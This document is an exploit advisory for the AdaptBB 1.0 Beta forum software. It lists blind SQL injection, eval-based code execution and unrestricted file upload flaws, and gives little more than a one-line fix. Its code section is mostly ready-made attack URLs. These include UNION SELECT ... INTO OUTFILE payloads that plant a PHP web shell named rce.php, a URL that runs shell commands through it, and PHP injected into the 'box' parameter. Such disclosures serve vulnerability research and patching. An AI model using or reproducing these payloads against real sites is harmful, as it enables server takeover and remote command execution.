adaptbb-sqlexecupload.txt
Posted on 09 April 2009
******* Salvatore "drosophila" Fresta ******* [+] Application: AdaptBB [+] Version: 1.0 Beta [+] Website: http://sourceforge.net/projects/adaptbb/ [+] Bugs: [A] Multiple Blind SQL Injection [B] Multiple Dynamic Code Execution [C] Arbitrary File Upload [+] Exploitation: Remote [+] Date: 09 Apr 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx@gmail.com ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] Multiple Blind SQL Injection [-] Risk: medium [-] Requisites: magic_quotes_gpc = off [-] File affected: almost all of the files are vulnerable This bug allows a guest to execute arbitrary SQL queries. - [B] Multiple Dynamic Code Execution [-] Risk: hight [-] File affected: almost all of the files are vulnerable This bug allows a guest to execute arbitrary php code. ... if ($_GET['box']) { $folder = $_GET['box']; } ... $ddata[] = ucwords($folder); ... eval (" ?> ".str_replace($cdata, $ddata, stripslashes(template($view."_header")))." <?php "); ... - [C] Arbitrary File Upload [-] Risk: hight [-] File affected: attach.php This bug allows a registered user to upload arbitrary files and to execute them from inc/attachments directory. This is possible because there are no controls on file extension on the server side but only on the client side. ************************************************* [+] Code - [A] Multiple Blind SQL Injection http://site/path/inc/attach.php?id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23 http://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23 http://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23 http://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8,9 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23 To execute commands: http://site/path/rce.php?cmd=uname -a - [B] Multiple Dynamic Code Execution http://www.site.com/path/index.php?do=profile&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?> http://www.site.com/path/index.php?do=messages&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?> ************************************************* [+] Fix To fix them you must check the input properly. However is not recommended to store your real username and password in the cookies. ************************************************* -- Salvatore "drosophila" Fresta CWNP444351
